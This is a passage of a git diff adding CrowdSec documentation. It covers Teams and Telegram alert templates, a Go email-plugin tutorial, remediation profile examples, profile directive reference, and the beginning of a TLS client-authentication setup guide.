"Action.OpenUrl", + "title": "Whois", + "url": "https://www.whois.com/whois/{{ $element.Value }}", + "style": "positive" + }, + { + "type": "Action.OpenUrl", + "title": "Shodan", + "url": "https://www.shodan.io/host/{{ $element.Value }}", + "style": "positive" + }, + { + "type": "Action.OpenUrl", + "title": "AbuseIPDB", + "url": "https://www.abuseipdb.com/check/{{ $element.Value }}", + "style": "positive" + } + ] + }, + { + "type": "ActionSet", + "actions": [ + { + "type": "Action.OpenUrl", + "title": "Unban IP in CAPI", + "url": "https://crowdsec.net/unban-my-ip/", + "style": "positive" + } + ], + } + {{- if lt $index (sub $decisions_len 1) -}} + , + {{- end -}} + {{- end -}} + {{- end -}} + ] + } + } + ] + } + +# CrowdSec-Channel +url: https://mycompany.webhook.office.com/webhookb2/{TOKEN} + +# Test netcat +#url: "http://127.0.0.1:5555" + +method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. + +headers: + Content-Type: application/json +# Authorization: token 0x64312313 +# skip_tls_verification: # either true or false. Default is false +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" +# max_retry: # number of tries to attempt to send message to plugins in case of error. +# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" +``` + +### Additional Alert Context + +If you have enabled [Alert Context](/u/user_guides/alert_context/) you can add additional fields to the alert, the following `format` loops over all context that is available within the Alert. So simply following the previous linked guide will be enough to enable these fields to show within the template. + +```yaml +# Don't change this +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: debug # Options include: trace, debug, info, warn, error, off + +format | + { + "type": "message", + "attachments": [ + { + "contentType": "application/vnd.microsoft.card.adaptive", + "content": { + "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", + "type": "AdaptiveCard", + "version": "1.2", + {{- range . -}} + {{ $alert := . -}} + {{ $metaLen := len .Meta -}} + {{- $decisions_len := len .Decisions -}} + {{- range $index, $element := .Decisions -}} + "body": [ + { + "type": "TextBlock", + "text": "[Info] CrowdSec", + "wrap": true, + "size": "large", + "weight": "bolder", + "fontType": "Default" + }, + { + "type": "FactSet", + "facts": [ + { + "title": "IP:", + "value": "{{$element.Value}}" + }, + { + "title": "Duration:", + "value": "{{$element.Duration}}" + }, + { + "title": "Reason:", + "value": "{{$element.Scenario}}" + }, + { + "title": "Origin:", + "value": "{{$element.Origin}}" + }, + { + "title": "Simulation:", + "value": "{{$element.Simulated}}" + }{{ if gt $metaLen 0 -}},{{end}} + {{ range $metaIndex, $meta := $alert.Meta -}} + { + "title": "{{.Key}}", + "value": "{{ (splitList "," (.Value | replace "\"" "`" | replace "[" "" |replace "]" "")) | join "\\n"}}" + }{{ if lt $metaIndex (sub $metaLen 1)}},{{end}} + {{ end -}} + ] + }, + { + "type": "RichTextBlock", + "inlines": [ + { + "type": "TextRun", + "text": "\"{{ $element.Value }}\" got a ban for {{ $element.Duration }}." + } + ] + }, + { + "type": "ActionSet", + "actions": [ + { + "type": "Action.OpenUrl", + "title": "Whois", + "url": "https://www.whois.com/whois/{{ $element.Value }}", + "style": "positive" + }, + { + "type": "Action.OpenUrl", + "title": "Shodan", + "url": "https://www.shodan.io/host/{{ $element.Value }}", + "style": "positive" + }, + { + "type": "Action.OpenUrl", + "title": "AbuseIPDB", + "url": "https://www.abuseipdb.com/check/{{ $element.Value }}", + "style": "positive" + } + ] + }, + { + "type": "ActionSet", + "actions": [ + { + "type": "Action.OpenUrl", + "title": "Unban IP in CAPI", + "url": "https://crowdsec.net/unban-my-ip/", + "style": "positive" + } + ], + } + {{- if lt $index (sub $decisions_len 1) -}} + , + {{- end -}} + {{- end -}} + {{- end -}} + ] + } + } + ] + } + +# CrowdSec-Channel +url: https://mycompany.webhook.office.com/webhookb2/{TOKEN} + +# Test netcat +#url: "http://127.0.0.1:5555" + +method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. + +headers: + Content-Type: application/json +# Authorization: token 0x64312313 +# skip_tls_verification: # either true or false. Default is false +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" +# max_retry: # number of tries to attempt to send message to plugins in case of error. +# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" +``` + +**Note** + +* Don't forget to replace the webhook with your own webhook +* See [microsoft docs](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) for instructions to obtain a webhook. +* The `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. + +``` +#notifications: +# - http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with http plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/telegram.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/telegram.md new file mode 100644 index 000000000..8548e3bbc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/telegram.md @@ -0,0 +1,139 @@ +--- +id: telegram +title: Telegram +--- + +CrowdSec can forward Alerts to telegram via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Telegram chat. + +## Configuring the plugin + +By default the configuration for HTTP plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/http.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` + +### Base configuration + +You can replace the file contents with the following configuration: + +Replace `chat_id` within the format section so that it send the events to your Telegram chat. If you need to get your chat ID, follow the instructions [here](https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id). + +Replace `XXX:YYY` within the URL section with your Telegram BOT API key. If you need to generate a BOT API key, follow the instructions [here](https://core.telegram.org/bots#how-do-i-create-a-bot). + +```yaml +type: http # Don't change +name: http_default # Must match the registered plugin in the profile + +# One of "trace", "debug", "info", "warn", "error", "off" +log_level: info + +# group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" +# group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" +# max_retry: # Number of attempts to relay messages to plugins in case of error +# timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" + +#------------------------- +# plugin-specific options + +# The following template receives a list of models.Alert objects +# The output goes in the http request body + +# Replace XXXXXXXXX with your Telegram chat ID +format: | + { + "chat_id": "-XXXXXXXXX", + "text": " + {{range . -}} + {{$alert := . -}} + {{range .Decisions -}} + {{.Value}} will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}}. + {{end -}} + {{end -}} + ", + "reply_markup": { + "inline_keyboard": [ + {{ $arrLength := len . -}} + {{ range $i, $value := . -}} + {{ $V := $value.Source.Value -}} + [ + { + "text": "See {{ $V }} on shodan.io", + "url": "https://www.shodan.io/host/{{ $V -}}" + }, + { + "text": "See {{ $V }} on crowdsec.net", + "url": "https://app.crowdsec.net/cti/{{ $V -}}" + } + ]{{if lt $i ( sub $arrLength 1) }},{{end }} + {{end -}} + ] + } + +url: https://api.telegram.org/botXXX:YYY/sendMessage # Replace XXX:YYY with your API key + +method: POST +headers: + Content-Type: "application/json" +``` + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. + +``` +#notifications: +# - http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with http plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` + +You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/writing_your_own_plugin.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/writing_your_own_plugin.md new file mode 100644 index 000000000..286cbbb48 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/writing_your_own_plugin.md @@ -0,0 +1,256 @@ +--- +id: writing_your_own_plugin +title: Writing Plugin in Go +--- + +In this guide we will implement a plugin in Go, which dispatches an email with specificied body on receiving alerts. + +Full code for this plugin can be found in [crowdsec repo](https://github.com/crowdsecurity/crowdsec/tree/master/plugins/notifications/email) + +Before we begin, make sure you read [intro](/local_api/notification_plugins/intro.md) + +Let's start by creating a new go project in a fresh directory: + +```bash +mkdir notification-email +cd notification-email +go mod init notification-email +touch main.go +``` + + +We will write all the plugin related code in the `main.go` file. The plugin is responsible for + +1. Receiving and interpreting the configuration received from CrowdSec's main process. +2. Receiving alerts messages from CrowdSec and dispatching them to email etc. + +All the communication between CrowdSec's main process and the plugin happens via gRPC. Luckily the +`github.com/crowdsecurity/crowdsec/pkg/protobufs` package has everything to do that. + +Let's start with defining the third party dependencies and adding some utilities. In your `main.go` we add: + +```go +package main +import ( + "context" + "fmt" + "os" + + "github.com/crowdsecurity/crowdsec/pkg/protobufs" + "github.com/hashicorp/go-hclog" + plugin "github.com/hashicorp/go-plugin" + mail "github.com/xhit/go-simple-mail/v2" + "gopkg.in/yaml.v2" +) + +var logger hclog.Logger = hclog.New(&hclog.LoggerOptions{ + Name: "email-plugin", + Level: hclog.LevelFromString("DEBUG"), + Output: os.Stderr, + JSONFormat: true, +}) + +``` + +Note that the logs should be structured in order for the main process to interpret it. + +For our plugin to function, we need to know several credentials to send an email. Let's define a struct which expresses this. + +```go +type PluginConfig struct { + Name string `yaml:"name"` + LogLevel *string `yaml:"log_level"` + + SMTPHost string `yaml:"smtp_host"` + SMTPPort int `yaml:"smtp_port"` + SMTPUsername string `yaml:"smtp_username"` + SMTPPassword string `yaml:"smtp_password"` + SenderEmail string `yaml:"sender_email"` + ReceiverEmail string `yaml:"receiver_email"` +} +``` + +The struct will be unmarshal target of a yaml configuration file, hence the `yaml` hints. + +Next we need to implement the plugin interface `Notifier`. + +```go +type Notifier interface { + Configure(ctx context.Context, config *protobufs.Config) (*protobufs.Empty, error) + Notify(ctx context.Context, notification *protobufs.Notification) (*protobufs.Empty, error) +} +``` + +Here the `Configure` method receives `config` which is essentially contents of a yaml config file. The plugin would use this method to capture and store the received config. + +The `Notify` method receives `notification` which has two attributes + `Text`: List of Alert objects formatted into specified format + `Name`: Name of configuration for which this notification is sent to. + + +Let's define another struct which implements this interface and stores the config. + +```go +type EmailPlugin struct { + ConfigByName map[string]PluginConfig +} +``` + +We map the config by its name because then it will be easy to adapt to configuration specified by the `notification`. + + +Finally let's implement the `Configure` method. + +```go +func (n *EmailPlugin) Configure(ctx context.Context, config *protobufs.Config) (*protobufs.Empty, error) { + d := PluginConfig{} + if err := yaml.Unmarshal(config.Config, &d); err != nil { + return nil, err + } + n.ConfigByName[d.Name] = d + return &protobufs.Empty{}, nil +} +``` + +It simply unmarshals the raw `config` into `PluginConfig` struct and stores it into the map for future use. + + +Let's implement the `Notify` method. +```go +func (n *EmailPlugin) Notify(ctx context.Context, notification *protobufs.Notification) (*protobufs.Empty, error) { + if _, ok := n.ConfigByName[notification.Name]; !ok { + return nil, fmt.Errorf("invalid plugin config name %s", notification.Name) + } + cfg := n.ConfigByName[notification.Name] + if cfg.LogLevel != nil && *cfg.LogLevel != "" { + logger.SetLevel(hclog.LevelFromString(*cfg.LogLevel)) + } else { + logger.SetLevel(hclog.Info) + } + + server := mail.NewSMTPClient() + server.Host = cfg.SMTPHost + server.Port = cfg.SMTPPort + server.Username = cfg.SMTPUsername + server.Password = cfg.SMTPPassword + server.Encryption = mail.EncryptionSTARTTLS + + smtpClient, err := server.Connect() + if err != nil { + return nil, err + } + + email := mail.NewMSG() + email.SetFrom(fmt.Sprintf("From <%s>", cfg.SenderEmail)). + AddTo(cfg.ReceiverEmail). + SetSubject("CrowdSec Notification") + email.SetBody(mail.TextHTML, notification.Text) + + err = email.Send(smtpClient) + if err != nil { + return nil, err + } else { + logger.Info(fmt.Sprintf("sent email to %s according to %s configuration", cfg.ReceiverEmail, notification.Name)) + } + return nil, nil +} +``` + +There are lot of things going on. Let's unpack: + +1. In the first block we verify whether the `notification`'s configuration is present. +2. Then we set the log level according to the configuration. +3. In the second block we initiate a SMTP client using the `notification`'s configuration. +4. In the third block we send the email with body equal to the `notification.Text`. + +Finally let's define the entrypoint `main` function which serves and hoists the plugin for CrowdSec main process. + +```go +func main() { + var handshake = plugin.HandshakeConfig{ + ProtocolVersion: 1, + MagicCookieKey: "CROWDSEC_PLUGIN_KEY", + MagicCookieValue: os.Getenv("CROWDSEC_PLUGIN_KEY"), + } + + plugin.Serve(&plugin.ServeConfig{ + HandshakeConfig: handshake, + Plugins: map[string]plugin.Plugin{ + "email": &protobufs.NotifierPlugin{ + Impl: &EmailPlugin{ConfigByName: make(map[string]PluginConfig)}, + }, + }, + GRPCServer: plugin.DefaultGRPCServer, + Logger: logger, + }) +} +``` + +The `CROWDSEC_PLUGIN_KEY` environment variable is provided by the main process when calling the plugin. It +is used to make sure that the right plugin is dispatched. + +The `plugin.Serve` is a method provided by `go-plugin` dependency we earlier defined. It creates a GRPC server which exposes the plugin interface. + + +Now let's build the plugin and paste it in `/usr/local/lib/crowdsec/plugins/` so CrowdSec can discover it. + +```bash +go build +sudo cp notification-email /var/lib/crowdsec/plugins/ +``` + +Next we need to write a configuration file for the plugin. Here's an example: + +```yaml +# Don't change this +type: email + +name: email_default # this must match with the registered plugin in the profile +log_level: info # Options include: trace, debug, info, warn, error, off + +format: | # This template receives list of models.Alert objects + CrowdSec detected an attack. + +smtp_host: smtp.google.com +smtp_username: abcd +smtp_password: xyz +smtp_port: 587 +sender_email: example@gmail.com +receiver_email: examplereceiver@gmail.com + +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" + +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" + +# max_retry: # number of tries to attempt to send message to plugins in case of error. + +# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" + +``` + +Replace the values as necessary and paste it in `/etc/crowdsec/notifications/email.yaml` . + +Now the final step, register the plugin in your crowdsec profile at `/etc/crowdsec/profiles.yaml`, by adding the following to desired config. + +```yaml +notifications: + - email_default +``` + +Example profile: + +```yaml +name: default_ip_remediation +#debug: true +filters: + - 1==1 +decisions: + - type: ban + duration: 4h +notifications: + - email_default +on_success: break + +``` + +Do the `sudo systemctl restart crowdsec` and we're done. You can try triggering alerts by creating manual decisions and verify whether you recive an email. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/captcha_profile.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/captcha_profile.md new file mode 100644 index 000000000..0f8a10dd7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/captcha_profile.md @@ -0,0 +1,57 @@ +--- +id: captcha_profile +title: Captcha +sidebar_position: 2 +--- + +Here is an example of a profile that provides users with a captcha challenge when they trigger a HTTP scenario. + +:::info +You **MUST** have configured a remediation component that supports captcha challenges, see [Remediation](/u/bouncers/intro). +::: + +```yaml +name: captcha_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" +## Any scenario with http in its name will trigger a captcha challenge +decisions: + - type: captcha + duration: 4h +on_success: break +--- +name: default_ip_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" +on_success: break +``` + +The key piece of profile to point out is the `on_success` directive. It is set to `break` to ensure that the alert will not be evaluated by other profiles so the offender will only get a captcha decision. + +However, you may want to provide a limit to captcha challenges within a period of time to a given IP address because they may ignore your captcha challenges and still cause load on your server. + +You can use the `GetDecisionsCount` or `GetDecisionsSinceCount` helper to achieve this: + +```yaml +name: captcha_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" && GetDecisionsSinceCount(Alert.GetValue(), "24h") <= 3 +## Same as above but only 3 captcha decision per 24 hours before ban +decisions: + - type: captcha + duration: 4h +on_success: break +--- +name: default_ip_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" +on_success: break +``` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/cti_profile.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/cti_profile.md new file mode 100644 index 000000000..753cdff1c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/cti_profile.md @@ -0,0 +1,91 @@ +--- +id: cti_profile +title: CrowdSec CTI +sidebar_position: 1 +--- + +Here is an example of a profile that uses the CTI module. + +:::info +You **MUST** configure the CTI beforehand, see [CTI helpers](/expr/cti_helpers.md). +::: + +### Background Noise Score + +Background noise score can be used to inform you if the ip address is noisy or not. You can use this information to make the decision more or less aggressive. + +```yaml +name: high_bn_score +on_error: continue +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() > 6 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() +decisions: + - type: ban + duration: 24h +on_success: break +--- +name: mid_bn_score +on_error: continue +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() >= 3 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() +decisions: + - type: ban + duration: 12h +on_success: break +--- +name: default_ip_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" +on_success: break +``` + +A key piece of profile to point out is the `on_error` directive. It is set to `continue` to ensure that the alert will continue to be evaluated even if your API key is rate limited. + +You could also use the background noise within the `duration_expr` to make the ban duration proportional to the background noise score: + +```yaml +name: bn_score +on_error: continue +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() > 0 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() +decisions: + - type: ban + duration: 12h +duration_expr: "Sprintf('%dm', (240 + (120 * CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore())))" +## 240 minutes (4 hours) + 120 minutes per point of background noise score +## 120 = 20 * 60 / 10 (Max Background Noise Score) +on_success: break +--- +name: default_ip_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +on_success: break +``` + +### Potential False Triggers + +Send a notification about a potential false triggers and break the alert evaluation: + +```yaml +name: false_positive +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).IsFalsePositive() +notifications: + - http_hive +on_success: break +--- +name: default_ip_remediation +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +on_success: break +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/format.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/format.md new file mode 100644 index 000000000..f1e18cd28 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/format.md @@ -0,0 +1,161 @@ +--- +id: format +title: Format +sidebar_position: 2 +--- + +## Profile configuration example + +```yaml title="/etc/crowdsec/profiles.yaml" +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" +notifications: + - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. +on_success: break + +--- +name: another_profile +... +``` + + +## Profile directives + +### `name` + +```yaml +name: foobar +``` + +A label for the profile (used in logging) + +### `debug` + +```yaml +debug: true +``` + +A boolean flag that provides contextual debug. + +### `filters` + +```yaml +filters: + - Alert.Remediation == true && Alert.GetScope() == "Session" + - Alert.Remediation == true && Alert.GetScope() == "Ip" +``` + +If any `filter` of the list returns `true`, the profile is eligible and the `decisions` will be applied (note: `filter` can use [expr helpers](/expr/intro.md)). + +The filter allows you to then create custom decisions for some specific scenarios for example: + +```yaml +name: specific_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() in ["crowdsecurity/ssh-bf", "crowdsecurity/ssh-user-enum"] +decisions: + - type: ban + duration: 8h +notifications: + - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. +on_success: break +--- +... +``` + +This allows you as well to setup various notifications or profiles depending on the scope : + +```yaml +name: notif_only +#debug: true +filters: + - Alert.GetScope() == "Country" +notifications: + - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. +on_success: break +--- +... +``` + +### `decisions` + +```yaml +decisions: + - type: captcha + duration: 1h + scope: custom_app1_captcha + - type: ban + duration: 2h +``` + +If the profile applies, decisions objects will be created for each of the sources that triggered the scenario. + +It is a list of `models.Decision` objects. The following fields, when present, allows to alter the resulting decision : + + - `scope` : defines the scope of the resulting decision + - `duration` : defines for how long will the decision be valid. The format must comply with [golang's ParseDuration](https://pkg.go.dev/time#ParseDuration) + - `type` : defines the type of the remediation that will be applied by available bouncers, for example `ban`, `captcha` + - `value` : define a hardcoded value for the decision (ie. `192.168.1.1`) + +### `duration_expr` + +```yaml +duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" +``` + +If the profile applies, and the `duration_expr` generates a valid [golang's duration](https://pkg.go.dev/time#ParseDuration), it will replace the decision duration. + +It can be used to have custom duration. For example, you can have an increased duration every time an attacker comes back. +It relies on [expr helpers](/expr/intro.md). + +### `on_success` + +```yaml +on_success: continue|break +``` + +If the profile applies and `on_success` is set to `break`, decisions processing will stop here and it won't evaluate against following profiles. + +- `continue` will apply the profile even if the filter expression generates an error. (DEFAULT) +- `break` will stop the processing of the alert if the filter expression generates an error. +### `on_failure` + +```yaml +on_failure: continue|break +``` + +If the profile didn't apply and `on_failure` is set to `break`, decisions processing will stop here and it won't evaluate against following profiles. + +- `continue` will continue to the next profile if the filter expression generates an error. (DEFAULT) +- `break` will stop the processing of the alert if the filter expression generates an error. +### `on_error` + +```yaml +on_error: continue|break|apply|ignore +``` + +If the filter expression generates an error, this would normally stop the alert from being processed to prevent a potential unwanted outcome. + +- `break` will stop the processing of the alert if the filter expression generates an error. (DEFAULT) +- `continue` will continue to the next profile if the filter expression generates an error. +- `apply` will apply the profile even if the filter expression generates an error. +- `ignore` will ignore the error and continue to the next profile. + +However, there may be some expressions that do generate expected errors for example, when using the [CTI helpers](/expr/cti_helpers.md) it may throw a rate limit error. + +### `notifications` + +```yaml +notifications: + - notification_plugin1 + - notification_plugin2 +``` + +The [list of notification plugins](/local_api/notification_plugins/intro.md) to which the alert should be fed. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/intro.md new file mode 100644 index 000000000..cd02e249d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/intro.md @@ -0,0 +1,21 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +The profiles configuration allows users to configure which kind of remediation should be applied when a scenario is triggered. The profile can be used to: + +- increase or decrease decisions `duration` (default: `4h`) +- decide the type of remediation that should be applied (default: `ban`) +- decide the scope of the remediation (default: `ip`) +- enable/disable debugging for a specific profile +- enable [notification plugins](https://docs.crowdsec.net/docs/next/notification_plugins/intro/) to receive warnings via mail, slack or other means + +The profiles configuration is located in `/etc/crowdsec/profiles.yaml`. + +You can also write your profiles in a `profiles.yaml.local` file (as explained +in [Crowdsec configuration](/configuration/crowdsec_configuration.md)), and they +will be read _before_ `profiles.yaml`. In this case, you may want to provide +`on_success: break` because the YAML files are not merged together, but read as +a single multi-document configuration. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/pid_profile.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/pid_profile.md new file mode 100644 index 000000000..eaa3a2856 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/profiles/pid_profile.md @@ -0,0 +1,29 @@ +--- +id: pid_profile +title: PID +sidebar_position: 1 +--- + +:::info +We use PID to refer to a process ID based events. +::: + +We provide collection for host based indicators of compromise (IOCs) that can be used to detect malicious activity on your hosts. + +Collections: + - [Auditd](https://hub.crowdsec.net/author/crowdsecurity/collections/auditd) + - [Laurel](https://hub.crowdsec.net/author/crowdsecurity/configurations/laurel-logs) + +Currently we cannot remediate these alerts, however, we can send you a notification when we detect them. + +```yaml +name: pid_alert +filters: + - Alert.GetScope() == "pid" +decisions: [] +notifications: + - slack_default +## Please edit the above line to match your notification name +on_success: break +--- +``` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/tls_auth.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/tls_auth.md new file mode 100644 index 000000000..8c850c672 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/tls_auth.md @@ -0,0 +1,338 @@ +--- +id: tls_auth +title: TLS Authentication +sidebar_position: 4 +--- + +# TLS Authentication + +## Overview + +In addition to the standard login/password (for agents) or API key (for bouncers), crowdsec also supports TLS client authentication for both. + +This allows you to bypass the requirement of generating a login/password or API keys before adding a new agent or bouncer to your setup. This is especially useful if you are using any kind of auto-scaling and agents or bouncers can appear at any time. + +## Configuration + +The TLS authentication is configured in the `api.server.tls` section of the configuration for LAPI and in `/etc/crowdsec/local_api_credentials.yaml` for the agents. + +Please refer to the documentation of each bouncer to see how to configure them. + +## Revocation checking + +Crowdsec will perform both OCSP and CRL revocation check. + +#### CRL check + +You can provide a path to a CRL file to crowdsec for revocation checking. + +The revocation check will be skipped if the CRL file is invalid or has expired. + +If no CRL file is provided, the check will also be skipped. + +The result of the check is kept in cache according to the `api.server.tls.cache_expiration` configuration. + +The CRL file is read each time the check is performed, so you can update it with a cronjob without needing to reload crowdsec. + +#### OCSP check + +If the certificate contains an OCSP URL, crowdsec will make a query to the OCSP server to check for the revocation status. + +The result of the check is kept in cache according to the `api.server.tls.cache_expiration` configuration. + +If the OCSP server returns a malformed response, this check will be ignored. + +## Example + +### PKI creation + +For this example, we will be creating our PKI with [cfssl](https://github.com/cloudflare/cfssl) directly on the machine where crowdsec is running. In production, you will want to use your existing PKI infrastructure for obvious security reasons. + +For the sake of simplicity, we will be using the same CA for the server and client certificates (in production, you will likely use differents CAs). + +We will need some configuration files for cfssl. + +First, we need to define some profiles for our cert in `profiles.json`: + +```json +{ + "signing": { + "default": { + "expiry": "8760h" + }, + "profiles": { + "intermediate_ca": { + "usages": [ + "signing", + "digital signature", + "key encipherment", + "cert sign", + "crl sign", + "server auth", + "client auth" + ], + "expiry": "8760h", + "ca_constraint": { + "is_ca": true, + "max_path_len": 0, + "max_path_len_zero": true + } + }, + "server": { + "usages": [ + "signing", + "digital signing", + "key encipherment", + "server auth" + ], + "expiry": "8760h" + }, + "client": { + "usages": [ + "signing", + "digital signature", + "key encipherment", + "client auth" + ], + "expiry": "8760h" + } + } + } + } +``` + +Then, `ca.json` will define our CA: + +```json +{ + "CN": "CrowdSec Test CA", + "key": { + "algo": "rsa", + "size": 2048 + }, + "names": [ + { + "C": "FR", + "L": "Paris", + "O": "Crowdsec", + "OU": "Crowdsec", + "ST": "France" + } + ] +} +``` + +Next, `intermediate.json` will define our intermediate cert: + +```json +{ + "CN": "CrowdSec Test CA Intermediate", + "key": { + "algo": "rsa", + "size": 2048 + }, + "names": [ + { + "C": "FR", + "L": "Paris", + "O": "Crowdsec", + "OU": "Crowdsec Intermediate", + "ST": "France" + } + ], + "ca": { + "expiry": "42720h" + } + } +``` + +Our server side certificate is defined in `server.json`: + +```json +{ + "CN": "localhost", + "key": { + "algo": "rsa", + "size": 2048 + }, + "names": [ + { + "C": "FR", + "L": "Paris", + "O": "Crowdsec", + "OU": "Crowdsec Server", + "ST": "France" + } + ], + "hosts": [ + "127.0.0.1", + 